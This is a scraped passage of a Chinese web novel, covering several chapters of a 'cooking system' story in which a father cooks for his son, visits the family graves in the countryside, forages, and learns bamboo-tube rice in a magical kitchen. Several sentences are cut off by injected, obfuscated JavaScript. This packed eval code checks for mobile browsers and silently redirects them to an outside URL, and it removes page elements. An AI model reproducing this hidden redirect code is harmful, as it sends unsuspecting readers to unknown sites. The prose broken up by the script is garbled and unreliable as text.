知道马上要放假学生们心思都不在学习上，老师懒得多讲，放学铃声响起就直接收拾东西下课。 没等老师从讲台上下来，楚瑾钰直接书包一拎就从后门跑出去，胡一齐他们几个下意识跟上。 学校门口，楚易文已经过来有一会，听着放学铃声，忽然有点怀念起自己读书那会的时光。 高中生不像中小学生，放学还得家长来接，因为校门口倒是没有出现家长拥挤的情况，只有某些家长拎着保温桶给孩子送饭。 楚易文记得学校里有食堂，不由对着送饭的家长多看几眼，直到看到儿子出来才收回视线。 “叔叔好。” 胡一齐他们跟在楚瑾钰后面走出校门，异口同声开口打招呼。 他们三个除了胡一齐有点微胖，叶其林和商时贸身高体型与楚瑾钰相仿，都是高高瘦瘦，看起来就是很有礼貌的几个学生。 楚易文刚从梦中醒来时有点迁怒这几个孩子，不过现在已经冷静下来，自然不会给他们冷脸。 “你们好。”他回了一句，想想又让几个孩子稍等下，自己转身去停在不远处的车里拿出一盒蜜汁小鱼干。 “叔叔自己做的，请你们吃。” 出门前他特意做了点饭菜，自己先在家里吃过，又将剩下的用盒子打包好，准备让儿子在车上吃。现在看到儿子朋友在，他干脆拿了一盒鱼出来，还有一袋水果。 “谢谢叔叔。” 三人有礼貌地道谢，胡一齐更是特别捧场：“哇，这鱼一看就特别好吃，这卖相，简直绝了！” “之前就听楚瑾钰炫耀过，说叔叔你做的菜好吃，今天我们真是有口福了。”叶其林也跟着道。 “谁炫耀了。”楚瑾钰想到上次他爸嫌弃自己这几个朋友，本来还有点担心，见双方相处融洽，心里暗暗松口气。 两分钟后，楚易文父子二人坐车离开，站在原地的胡一齐则是迫不及待掀开盖子就开始吃小鱼干。 “人家车都没开远，你能不能矜持点。”叶其林见他上手就吃，横过去一眼。 用蜂蜜做的小鱼干表面带着点胶黏感，捏起来塞进嘴里，蜂蜜特有的甜香混着鱼的焦香以及淡淡辣椒粉味扑鼻而来，还没吃就觉得香，等牙齿上下一碰，那外焦里韧，越嚼越香的滋味，好吃到人想哭。 这口感，这味道，胡一齐咀嚼两下就完全沉浸在蜜汁香辣小鱼干的美味中，满脑子想的都是“世界上怎么会有这么好吃的鱼干”，压根听不见叶其林在说什么。 小鱼干不光口感好，调味更是没得说，甜中带咸，咸中带鲜，鲜中带辣，几种味道互相平衡，吃起来特别有层次感，有种越嚼越香，根本舍不得咽下去的感觉。 胡一齐吃得根本停不下来，嘴巴的咀嚼速度更是越来越快。 平常他吃到什么美食时，特别喜欢和朋友分享，经常会咋咋呼呼地喊着“这个太好吃了！你们快尝尝”。 现在看到他一声不吭，吃得完全不知天地为何物的模样，叶其林和商时贸立刻明白，这鱼干肯定特别好吃，好吃到这家伙连分享都不愿意，在试图吃独食。 “拿来吧你！”叶其林说完就伸手抢餐盒，结果出其不意的动作竟然没抢过来，让他更加好奇这鱼该有多好吃。 “你小心点，别搞掉了。” 这么好吃的小鱼干，要是掉到地上，胡一齐光是想想就心疼得不行。 叶其林不再直接抢盒子，而是伸手抓起两条小鱼干丢进嘴里，刚嚼两下眼睛就微微亮起来，咀嚼速度都不自觉加快。 “那小子还真没吹牛，他爸做的这鱼确实好吃，闻起来香，吃起来更香。”叶其林夸完直接伸手抓起一把往嘴里塞。 “你慢点吃，这么好吃的小鱼干被你这么吃简直是暴殄天物。”胡一齐看到他一口吃那么多，心疼得眉毛都皱起来。 “你们至于吗？”商时贸有些好笑，尤其是见胡一齐连“暴殄天物”都用出来。 “那你别吃。”叶其林赶忙道。 “那不行，叔叔是请我们三个吃的，你们吃归吃，别碰我那份。” 商时贸本来不爱站在外面用手吃东西，看他们吃得那么香，还是没忍住尝了根小鱼干。 明明是用油炸过的鱼，还加了蜂蜜，但小鱼干吃起来却是一点都不腻，反而满满都是鱼香，鱼本身的鲜味和甜、辣、咸这几种调味融合得特别好，咽下去后嘴巴和牙齿上残留的香味都够人回味好一会。 于是两分钟不到，三个人直接抢起来，生怕自己少吃一根小鱼干会吃亏。 他们从学校门口一路抢到食堂时，楚瑾钰已经在车上大口大口吃掉自己那份晚餐，吃得那叫一个香。 吃饱喝足，他刚拿起手机就听到一连串消息提醒音，打开就看到是群里传来消息。 【你爸做的小鱼干简直绝了！又香又美味，直接吃好吃，配饭吃更是香，一盒根本不够吃。】 【这小鱼干真是你爸做的？感觉比外面卖的还好吃，一点腥味都没有，甜味更是恰到好处，吃起来一点都不腻。】 【替我跟咱爸说一声，他做的小鱼干太好吃了，顺便问问他是不是厨神转世，不然怎么会做出这么好吃的小鱼干……】35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630386|172521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 楚瑾钰看到消息，尤其是胡一齐甚至连“咱爸”都用上，既无语又有些好笑，同时忍不住炫耀起来，在群里表示蜜汁香辣小鱼干算什么，他爸还会做更好吃的。 【我不信，除非你带给我尝尝。】 “笑什么这么开心？”马上要准备上高速了，听到儿子忽然笑起来，楚易文透过后视镜看他两眼。 “胡一齐他们夸你做的小鱼干好吃，三个没出息的还抢起来。” 楚瑾钰说完想起来另外一件事：“对了，我们回去住哪？” “住自己家，我提前跟你表姨奶说了，她已经帮我们晒过被子搞过卫生。” 从市里到乡下老家，走高速都要三个多小时，等他们到家时估计都八九点，如果不是有人帮忙提前收拾，楚易文可不敢现在回去。 “上次回去时，表姨奶她头发都开始白了。” “她马上也七十多快八十……” 父子二人闲聊着，由于高速不堵车，比预计时间还提前到达老家。 他们老家地方有点偏，靠着山边，附近已经没什么人家，只有楚瑾钰表姨奶夫妻二人带着条狗还住在老房子里，其他人要么去市里定居，要么在镇上买房，再不然也是在村口马路边交通更方便的地方建了新房。 “小文回来了，吃饭没？” 表姨奶夫妻俩看到小辈回来，笑得很是开心。 “已经吃过了，你们吃饭没？”楚易文说话的同时将车上大包小包礼品拎下来直接往二老家里走。 “不用不用，你说你怎么每次都那么客气……” 一通推让，楚易文终于将东西都留下来，喊两位老人早点休息后，领着儿子回自己家去。 “敢自己一个人睡吗？” 他们家屋子在山脚下，后面就是大片山林，再往旁边走那个小山坡走，就是他们家祖坟，楚易文洗漱完询问自家儿子。 “有什么不敢的。” 楚瑾钰是真没觉得有什么好怕的，毕竟他又不是第一次在老房子里住。等躺在床上时听着外面山风呼呼吹，他首先想到的也不是害怕，而且以前和爷爷奶奶在老房子里生活的时光。 次日早上。 父子二人醒来是在表姨奶家吃的早饭，吃完饭他们才终于有时间好好看看有些日子没回的老家。 表姨奶家养了很多鸡鸭，还有只大黄狗，因此别看家里人少，家门口却很是热闹，鸡叫、鸭叫，偶尔狗还汪汪叫几声。 楚易文早饭时跟两位老人简单聊几句，就拿着借来的镰刀带儿子上山扫墓去。山上野芒很多，靠着镰刀开路成功到达墓地前面，父子二人扫祭完下山时都没怎么说话。 【叮~日常任务，在山中收集十样食材，奖励厨神之眼（初级）】 楚易文听到系统忽然冒泡，惊讶一瞬就下意识左顾右盼起来，很快就发现旁边地上有几株蒲公英。 蒲公英又叫婆婆丁，属于野菜的一种，他感觉应该能算食材，立刻走过去就开挖。 9. 第9章 “爸你干嘛？” 楚瑾钰见他爸一言不合突然蹲在那挖野草，感觉有点莫名其妙。 都说老小孩，老小孩，他这也没到老的时候，怎么跟小孩一样，还玩起土来了？ 他心里腹诽时，楚易文已经将蒲公英挖出来，在听到系统提醒“食材+1”时，脸上表情很是高兴。 “你知道这是什么吗？”他举着蒲公英问。 那是株还没开花的蒲公英，上面又没长蒲公英，楚瑾钰自然认不出来，摇头后再次询问：“你挖这个干嘛？” “这是蒲公英，可以吃。”楚易文说完又在附近寻找起来，很快又发现几株看起来像野草的植物，“有点像野蒜……” 楚瑾钰不明白他爸怎么突然就挖起野菜来，想来想去只能想到可能是刚刚扫墓让他回忆起以前的事情，听到他对着株野草嘀咕，直接掏出手机说：“扫一下不就知道了。” 他行动能力特别强，用手机识图对着那株植物一扫，结果就出来，确实是野蒜。 食材又+1的楚易文见还有这个好办法，直接拿出自己手机漫山遍野扫起来，别说，科技就是好用，很快就让他又在山上找到荠菜、马齿笕等野菜。 楚瑾钰前面还在心里嫌他爸没事干，结果自己拿着手机见到株植物就要扫一下，玩得那叫一个开心。 “爸！这里有竹笋！” 山上有片地方种着些竹子，楚瑾钰发现竹笋时有些兴奋，边说边已经直接上手挖起来。 “哪里？” 楚易文听到声音找过来，见果然有笋，自己在附近又找一棵挖起来，成功让食材又+1。 在城市里待久了，回到老家与大自然亲密接触的感觉很不赖，父子二人在山上跑来跑去，没多久楚瑾钰把身上外套都脱下来，装他们挖到的那些宝贝。 不知不觉间楚易文已经收集到九样食材，感觉有点累的他忽然想起小时候经常在山上摘野栗子吃的记忆，于是领着儿子去找栗子树。 “哪呢？我怎么没看到有板栗？” 楚易文只记得小时候经常会来摘，凭着感觉带儿子到处乱走，眼见前面野草越来越茂密，哪怕有镰刀开路都有点割手，他都有点犹豫还要不要继续往前走。 “那是不是？” 最终还是楚瑾钰眼尖，看到前面树上的刺球。 “行啊，你竟然还认识长在树上的栗子。”楚易文对自家儿子有点刮目相看。 栗子没摘下来时是被一层刺壳给包裹住，敲开那层刺壳，里面露出来的一个个果实才是大家平常见到的栗子。 “以前爷爷带我摘过栗子，我当然知道。”楚瑾钰语气带着点傲娇。 此时栗子已经成熟，都不用他们拿竹竿在树上敲，直接低头就能在地上捡到。 在楚易文小时候，山上只要能吃的都是好东西，小孩们天天抢都抢不过来，如今却是满地栗子没人捡，这让他心里不免有些感叹。 【叮~日常任务已完成，奖励食神之眼（初级）】 系统声将楚易文从物是人非的感叹中拉出来，他有些好奇食神之眼是什么东西，又有什么用处，然而在心里喊了几声系统，却是压根没有回应。 见要不到说明书，他眼中透着几分无奈，觉得摊上这种系统，也不知他是运气好还是不好。 不过很快，楚易文感觉自己好像发现“食神之眼”的用法。之前捡栗子他都是用手捏两下，只要捏起来比较饱满，外壳没破损就捡起来，现在他却是隐隐有种只要低头看就能分辨出哪个栗子比较好，哪个不好。 担心是自己错觉，他还特意凭借感觉分别拿起一个好栗子，一个不好的栗子，好栗子剥开，果肉很漂亮，吃进嘴里更是清脆带汁。而那个不好的栗子，外壳看起来没问题，剥开栗子果肉却是半边全黑掉，不用尝就知道吃不得。 “爸你饿了？”楚瑾钰见他爸吃生栗子，还吃得笑起来，不由偏头多看他两眼。 楚易文笑着摇摇头，接下来就像是拿到新玩具的小朋友一样，带着新鲜劲把周围栗子都挑了一遍。 捡完栗子，他重新看前面摘的野菜，立刻发现里面有好多看着就感觉不怎么样。不过毕竟是亲手摘的，他到底还是没扔掉，而是和儿子一起拿下山。 山下。 表姨奶看到父子俩回来，还用衣服兜着一堆野菜，上前打量两眼后好笑道：“这好多野菜都老了，你们挖回来干嘛？要吃的话地头边倒是还有些嫩的荠菜。” 楚瑾钰年纪小脸皮薄，听到表姨奶说挖回来的野菜不能吃，立刻说：“是我爸挖的！” “没注意，看到认识就顺手挖了。”楚易文倒是没觉得有什么不好意思，而是转而给表姨奶看他捡的栗子。 主要他小时候，日子已经稍微好点，不像再早些年，乡下人还要靠挖野菜过活。他童年时上山更多的是跟小伙伴找野果子吃，野菜基本上没挖过，能认识几样就不错，分辨不出来老嫩倒是不奇怪。 “栗子倒是不错，呦，你们还挖到笋了？” 难得有小辈回来，表姨奶很是高兴，说要做栗子烧鸡给他们吃，说完还逗小孩一样问楚瑾钰敢不敢抓鸡。 楚瑾钰有什么不敢的，直接奔着鸡群就跑过去，惹得一群鸡到处乱飞，发出“咕咕咕”的叫声。 刚刚在山上折腾大半天，楚易文没儿子那么好的精力，找个凳子坐下来剥笋，剥板栗。 他家厨房好多年没开过火，里面更是啥都没有，每次回来基本上都是在表姨奶家吃饭。虽然每次麻烦她家都会送礼塞钱，但楚易文也没觉得给过钱就可以理所当然，该干活还是得干活。 有客人上门，今天表姨奶家午餐很是丰盛，有五花肉炒笋、栗子烧鸡、辣椒炒鸡蛋、排骨莲藕汤，还有薯粉团。 薯粉团属于本地美食，是用红薯粉调成糊糊，加上花生碎、腊肉丁、青菜碎炒成团就可以吃，口感软糯焦香，特别美味。表姨奶之所以准备做这个，还是早上聊天时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630387|172521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聊到，听见楚瑾钰说想吃，她当然得满足孩子。 以前楚易文不会做饭，现在他自我感觉良好，自然要进厨房帮忙。 表姨奶不让他进厨房，楚瑾钰立刻在旁边喊，表示他爸会做饭，他爸做饭好吃。 “会做也不让他做，哪有让客人上门做饭的。”表姨奶笑着说。 楚易文：“那我给你打打下手，顺便学学薯粉团怎么做。” “你学这个干嘛，要我说你还不如赶紧再娶个老婆，家里就有人给你做饭了，用不用我给你介绍个……”表姨奶边淘米煮饭边说。 楚瑾钰本来抢了烧火的活坐在灶台后，笑着在那拍照片，听到这话脸上笑容不自觉消下去，转头用余光观察他爸。 “谁家姑娘嫁人是图给男人做饭的？表姨你别操这个心了。”楚易文说话间已经把笋给切好。 好在表姨奶不是那种固执的老人，只是话聊到这顺嘴提一句，见他不愿意就没再说这话，而是开始烧菜。 “我来，你教我怎么做就行。” 楚易文处理好食材直接把锅铲给霸占，虽然栗子烧鸡他没做过，但有之前学菜的经验在，他按照表姨奶说的做，每个菜倒是都做得还挺像样。 等到楚瑾钰最期待的薯粉团时，楚易文更是态度特别认真，毕竟这道菜不光儿子爱吃，同样是他的童年回忆。 切好的腊肉丁先下锅炒出油，加入青菜碎、花生碎简单翻炒，香味爆出来后再把调好的薯粉糊糊倒进去，等翻炒成团状时就差不多可以出锅。 腊肉和花生下锅时就已经很香，等到加入薯粉，那股薯香混合着肉香、花生香，简直别提有多诱人，尤其是在炒成团后把表面煎一下，那股焦香味更是特别浓郁。 “好香。” 楚瑾钰闻着香味很是迫不及待，反正当着表姨奶的面不怕他爸说他，直接在薯粉团出锅时就立刻拿着筷子品尝。 筷子夹下一小块团子，表面被煎出焦黄色，入口微焦微香，咀嚼间是红薯粉特有的软糯，配上浓郁花生香和花生脆脆的口感，以及腊肉的肉香，还有中和油腻的青菜碎，好吃到他有点想哭。 红薯团在本地各家有各家的做法，有的人家喜欢焦脆口感，会直接把红薯粉调成糊加花生碎煎成饼状，切开后吃起来是脆脆的。而像面前这盘加腊肉、花生碎、青菜碎，再煎得外焦里糯的做法，以前楚瑾钰奶奶也喜欢这么做。 明明上午才去山上祭拜过，楚瑾钰吃着薯粉团却是又想念起爷爷奶奶来。 等到饭菜做好，在地里忙活完的表姨爷也回来，得知今天菜是楚易文做的，一个劲夸他。 “没做好，辣椒炒蛋都炒黑了。”主要是柴火灶火候不好把握，一个没注意菜就容易焦，楚易文被夸得有些不好意思，不过想到系统奖励的菜谱，心里又很是高兴。 刚刚在做菜时，系统直接连着响了好几声，奖励给他“栗子烧鸡”、“辣椒炒蛋”、“五花肉炒笋”、“莲藕排骨汤”等菜谱。 10. 第10章 “这真是小文你烧的菜？真不错。”表姨爷吃口五花肉炒笋，感觉味道不错。 楚易文还没开口，表姨奶抢先说菜都是他做的，然后一个劲夸起来。 五花肉的油都煸出来，整道菜吃起来油汪汪，肉香十足，笋子焯水到位没什么涩味，二者相结合，味道自然不会太差。 不过对比起来，楚瑾钰却感觉还是之前在家吃的蜜汁香辣小鱼干、蜜汁鸡翅、蟹黄汤包更美味些。 楚瑾钰心里猜测或许是土灶他爸用不惯，倒是没多想，一筷子接着一筷子吃起来。 桌上这些菜楚易文还没在系统厨房经过深度学习，做出来确实就是一般家常菜水平，可耐不住食材新鲜。笋是山上现挖的，鸡蛋是农家土鸡蛋，鸡是散养走地鸡，就连青椒都是表姨奶家自己种的。 至于排骨和莲藕，这两个是表姨爷早上去街上买的，但也是附近人自己养的猪，种的藕，品质绝对没得说。 食材好，再配上柴火灶自带的锅气，即便楚易文在火候和调味上差了点，但桌上菜还是越吃越香，尤其是楚瑾钰，可能是上午消耗比较到，没多久就干完一碗米饭。 老一辈人就喜欢吃饭香的孩子，看到他把饭吃完，表姨奶起身道：“来，把碗给我。” “哪有长辈给小辈盛饭的，表姨你别管他，他自己知道盛。”楚易文赶忙道。 “谢谢表姨奶，我自己来。” 楚瑾钰在学校可能有些调皮，但从小辈爷爷奶奶带大的他还是很尊敬老年人，哪里会好意思让她帮忙盛饭。 他自己跑到厨房去盛了碗米饭，走过来时嘴里还夸：“还是柴火饭好吃，底下还有锅巴，用汤拌着吃特别香。” 表姨奶闻言脸上笑得很是开心：“那你多吃点，这米都是今年新打的，到时候你们带点回家吃。” 柴火灶烧出来的米饭确实香，米味特别浓郁，配上脆嫩爽口的笋和肥而不腻的五花肉一起，越吃越开胃。 辣椒炒鸡蛋确实稍微有点焦，不过不影响吃，表姨奶种的辣椒有点辣，配上鸡蛋的鲜香，吃起来还挺下饭。 “爸，你做的薯粉团好吃。” 可能是回到老家心情放松，也可能是上午父子二人一起在山上到处挖挖挖，楚瑾钰吃到一半时难得主动开口夸道。 外焦里糯的薯粉团咀嚼间带着花生的香脆，腊肉丁的鲜味让它味道更加丰富，里面的青菜碎更是让它吃起来油而不腻。 看出来儿子确实挺爱吃薯粉团，一盘他自己就吃掉快一半，楚易文开口道：“你喜欢吃我回去再给你做。” 不过他感觉自己这薯粉团没做好，应该是搅拌薯粉时有地方没搅拌开，有些地方带着白点，觉得下次可以改进。 表姨奶听到父子二人的对话，立刻表示家里正好有不少红薯粉，让他们带点回去。 “那我就不跟你客气了，主要外面现在正宗的红薯粉不好买。”当然，楚易文肯定不白要，钱肯定是会给的。 “客气什么……” 一顿饭吃得宾主尽欢，下午时父子二人陪两位老人聊了会天，等表姨奶有些困要去休息时，楚易文问儿子要不要去水库那边钓鱼。 “钓鱼有什么好玩的。” 楚瑾钰说是这么说，最终还是跟着一起来到水库边。 水库里鱼还是好钓，可能是新手保护期，楚瑾钰本来只是拿鱼竿试试，结果一钓一条大鱼。钓鱼对他来说很枯燥，但如果钓上来鱼，那还是挺有成就感，他高兴地直接发到朋友圈里炫耀。 之前在家时楚易文已经成功解锁红烧鱼和糖醋鱼块的做法，下午钓完鱼回来他直接露了一手，很有大厨风范。 厨房里锅够大，红烧鱼他没再切块，整条鱼处理干净后直接改花刀，先煎再烧。当鱼香味被煎出来时，那股浓郁的鲜味就已经很诱人，等到各种调料下锅，小火收汁时，鱼鲜味更加浓郁，闻着味就让人垂涎欲滴。 中午炖的莲藕排骨汤没喝完，重新热过后，楚易文又炒了盘香菇青菜就可以吃饭。 发现他爸做的红烧鱼和香菇青菜又恢复在家时的水平，尤其是红烧鱼，比上次在家吃的还要香，楚瑾钰忍不住夸道：“爸你厉害啊，这么快就用熟柴火灶。” 他说完一块鱼肉已经进嘴，尝到那鲜香浓郁，鱼肉格外细腻的滋味时，吃得根本停不下来。鱼表面被煎成金黄色，带鱼皮那块吃起来焦香浓郁，尤其是还吸了点鱼汤，简直能香死个人。 楚易文先是一愣，很快反应过来他什么意思，没好气道：“你的意思是我中午做的不好吃？” 他感觉自己中午虽然是自由发挥，但做的应该也不算差，觉得自家儿子这嘴还真是挑。 “我可没说不好吃，只是下午这鱼做得更香一些，青菜也是。”楚瑾钰说完来上口青菜，特别喜欢那种脆嫩清爽的滋味。 表姨奶：“小文你做的鱼确实好吃，比酒席上的大师傅做得还要香……” 红烧鱼汤汁浓郁，鱼肉细腻又入味，就连里面辣椒都格外爽脆鲜香，老太太是真越吃越喜欢。不过说到酒席，她忽然想起来什么，询问起来：“对了，后天易信家办喜酒你知道吗？” “知道，他跟我说了。” 要结婚的那个易信是楚易文他爸堂弟的儿子，按辈分算是他堂弟，哪怕不是亲堂弟，但对方既然邀请了，他又正好回老家，肯定还是得去一趟走礼。 “易信也是不容易，拖到三十岁终于结婚了……” 表姨奶想说，楚易文就听着，时不时应两声。至于旁边表姨爷和楚瑾钰，这一老一少早就沉浸在美食中，用鱼汤拌饭吃得那叫一个香。 次日是十月二号，同时也是中秋节。一大早起床，楚易文就问自家儿子有没有什么想吃的。 楚瑾钰还真有，不过不确定他爸会不会做，于是试探着反问：“爸你会做竹筒饭吗？” 楚易文肯定……不会，但难得儿子主动提要求，他不想拒绝，于是没说会没说不会，而是直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630388|172521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接上山砍竹子去。 他在动手前就一个劲在心里喊系统，希望得到竹筒饭的食谱，在砍好竹子后系统终于靠谱一回，还真掉落“竹筒饭”。 “你把竹筒拿去洗干净，我去房间换件衣服，待会去买需要的食材。” “你不会是回房间上网搜教程吧？”楚瑾钰有点怀疑。 楚易文没说话，直接把手机丢旁边桌上，转身回房间去。 见他爸手机都撂下，楚瑾钰相信了一半，带着点小期待跑去打水洗竹筒。 楚易文回老家前就研究明白，获取菜谱后并不是晚上睡觉才能学，而是只要他意愿强烈都能学，而且学完出来现实里只过去几分钟。 昨天晚上他就把栗子烧鸡、五花肉炒笋、莲藕排骨汤那几个菜全部学会，现在如果再让他做一遍，保证不是昨天中午那种水平。 “平时不努力，这会倒是突然上进起来。” 可能是昨晚连教他几道菜，他早上又过来，系统厨房内老爷子看到他第一句话就带着点阴阳怪气。 不过楚易文倒是听出来，老爷子并不是嫌自己连着学菜烦他，更像是嫌他之前一晚上只学一道菜不够上进。 楚易文觉得自己很冤枉，毕竟又不是他不愿意学，谁让他遇到个什么都要自己研究的系统。 “自己去拿竹筒过来。” 好在老爷子也没多说，很快进入竹筒饭教学。 楚易文闻言走过去，就见地上筐里有两种竹筒，一种是干竹筒，一种是和自己刚在山上砍的那种新鲜竹筒。猜到老爷子是在考验自己，他犹没怎么豫就拿起几个新鲜竹筒，而且还是肉眼可见最好的几个竹筒。 “洗干净，拿盐水先泡上。”老爷子表情看不出满意还是不满意，直接使唤他开始下一步。 竹筒之所以浸泡，是要提高它的韧性，待会烤的时候就不容易开裂。竹筒泡好，接下来就是准备食材，糯米、腊肉、香菇等食材依次处理好，蔬菜该焯水焯水，糯米则是加调料进行调味。 竹筒饭做起来其实并不难，说白了就是把食材塞进竹筒里烧熟就好。但想做得好吃，食材处理、调味，还有火候很重要。 而老爷子要求则要更高一些，连楚易文切腊肉丁都再三强调，告诉他怎么切更好。 “刀工还得练，你看看你切的像什么样，狗咬出来的都比你切的漂亮。” 对于老爷子毒舌的话，楚易文已经学会左耳朵进，右耳朵出，毕竟这是系统提供的老师，都免费了还要什么自行车。 老爷子是真讲究，做个竹筒饭还整上高汤，指挥楚易文将糯米和腊肉等食材一层层铺进竹筒中，铺到八分满后，让他将高汤倒进去。 楚易文闻着竹子特有的清香和其他食材的香味，竹筒饭还没开始烤，心里已经感觉肯定会好吃。 等用芭蕉叶封好口，老爷子手把手教他竹筒要怎么放在火堆上，什么时候该用明火烤，什么时候要由明火转炭火，什么时候要给竹筒翻面。 11. 第11章 儿子还在外面等着吃竹筒饭，楚易文可不想让他失望，学得那叫一个认真。甚至想到临时吊高汤来不及的问题，询问高汤可以用什么代替。 “清水就好，这样做出来的竹筒饭肉鲜味没那么浓，但更能体现竹子的清香。” 可能是见他学得认真，老爷子难得没有毒舌，而是好声好气与他讲着两种竹筒饭的不同。 老爷子亲自动手，很快香味就伴随热气冒出来。竹子特有的清香混合糯米清香，再加上腊肉的鲜味组成一股特别诱人的香味，闻起来不算特别浓郁，但一阵接着一阵扑鼻而来，像是羽毛挠心一样，让人胃里馋虫都被勾出来。 当他用刀背轻敲竹筒，将竹筒打开那瞬间，竹筒饭的香味再也藏不住，先是一股如雨后竹林的清香扑鼻而来，随即是腊肉融合糯米再加上香菇等食材组成的复合香气，最后还带着点炭火特有的焦香。 “好香！”楚易文夸完特别不见外地直接上手品尝起来。 竹筒饭入口有点烫，咀嚼间软糯的糯米吸收竹香，同时每粒米都带着腊肉的油润，吃起来咸鲜而不失清爽。那种越嚼越香的滋味，好吃到他甚至舍不得咽下去，而等到终于咽下肚时，唇齿间却是留着竹香那股微微回甘的清香。 怎么会有这么好吃的糯米饭！ 楚易文被竹筒饭味道给惊艳到，他又塞几口进嘴里细细品味，神奇地发现每咀嚼一口都能品尝到不同的滋味，闭上眼，他甚至有种身处竹林间的感觉。 看到他那没出息的样子，老爷子横他一眼道：“吃够了没？吃够了赶紧学，笨手笨脚的，再不快点学要学到什么时候去。” “马上。” 楚易文说完加快进食速度，非要把手里竹筒饭吃完才开始学习如何把握烧竹筒饭的火候。 他在系统厨房搞得灰头土脸，里反反复复不知道烧了多少个竹筒饭，终于得到合格的评价，心里长松一口气。 “下次再如此心浮气躁，就别来找我。”老爷子丢下一句，一挥手直接把他丢出厨房。 其实不怪楚易文开始心浮气躁，主要他还是第一次在白天抽空进系统厨房，哪怕知道在系统厨房待的时间再长，现实里不会过去多久，心里总归有点担心。 重新回到房间里，他赶紧随便换件上衣就跑出来，第一件事就是看手机。 还好。 发现才过去十分钟不到，楚易文心情瞬间放松下来，想到刚刚学到的竹筒饭做法，眼底都透出几分自信。 “竹筒洗好没？” “洗好了。”看到他出来，楚瑾钰立刻展示盆里自己已经洗过的竹筒。 楚易文蹲下来检查一遍，摇头道：“里面内壁都没洗好。” 他带着儿子重新把竹筒洗干净，又拿盐把竹筒在水里泡上，随即起身道：“我去买食材，你去不去？” “去。” 父子二人出发前，楚易文不忘跟表姨奶交代两句，说竹筒他泡着有用。 表姨奶听到父子二人要做什么竹筒饭，并没有扫兴，反而看到他们父子二人这样相处感觉很高兴，目送他们离开后脸上笑容都没消散。 有车就是方便，很快父子二人就到街上，有目标地将食材买齐。 月饼、水果什么的来之前他们就带过，现在出来主要是买做竹筒饭需要的食材、调料，以及再买点菜和表姨奶家用得上的日用品。 今天中秋节，街上倒是挺热闹，不过父子二人没多逛，买完东西就直奔回家。 回到家楚易文先把糯米泡上，而楚瑾钰发现自己好像帮不上什么忙，干脆拿手机在旁边拍起来。 他心里已经想好，要是他爸做出来的竹筒饭还行，那就把视频发出去炫耀，要是做翻车了，那就捏住他爸的黑历史，反正怎么样都不会白拍。 楚易文不知道自家儿子心里在想什么，将糯米洗干净浸泡上就开始切腊肉、香菇、胡萝卜等食材。 竹筒饭里具体食材并不固定，可以根据个人喜好自由发挥，比如不爱豌豆的话，就可以用毛豆米代替。 “小文菜切得真好，看来在家里没少做饭。” 表姨奶这句话夸出来，父子二人表情各不相同。楚易文想到刚刚在系统厨房被老师嫌弃刀工，感觉有点汗颜。楚瑾钰则是撇撇嘴，心里反驳说他在家才没经常做饭。 等到食材全部准备完毕，竹筒也已经泡够时间，可以开始填装食材。糯米吃多了不容易消化，他没多做，就准备做三个竹筒，到时候大家一起分着吃。 乡下最不缺柴火，竹筒封好，直接在家门口找个合适地方就可以开始升火。竹筒放到火上刚开始烧没多久，不远处传来声大嗓门：“文哥，回老家了也不说一声，我还是听到街上别人说看到你才知道。” 表姨奶听到声音转头，笑着道：“二禾来了，你快来看小文在做什么新鲜东西。” 二禾是楚易文老家的朋友，以前家就在附近，现在则是已经搬到街上住。 “回来扫墓，只准备待几天，就不想打扰你们。”楚易文看到朋友过来，边继续忙活边说。 “你这是在搞什么？” “做竹筒饭。” “竹筒饭？你什么时候还会做饭了。”二禾说完将手里袋子放到他旁边，“自家养的螃蟹、小龙虾，带点给你尝尝。” “多少钱，我把钱给你。” “咱们兄弟俩说什么钱不钱的，再说当初要不是你借钱给我，我这养殖场还开不起来。”二禾说完看向楚瑾钰，话题转移到他身上，“有些日子没见，闹闹又长高了，都成大小伙子了。” 楚瑾钰听到自己小名眉头就是一皱：“瘦猴叔，你别这么叫我。” “嘿，这孩子真是一点亏不吃。”二禾说完拍拍他胳膊，又跟楚易文聊起孩子还是小时候比较好玩的话题来。 楚瑾钰不爱听他们聊自己小时候的糗事，直接闪人回屋里玩手机去。 随着时代的发展，很多老家的朋友都是见一次少一次，楚易文跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 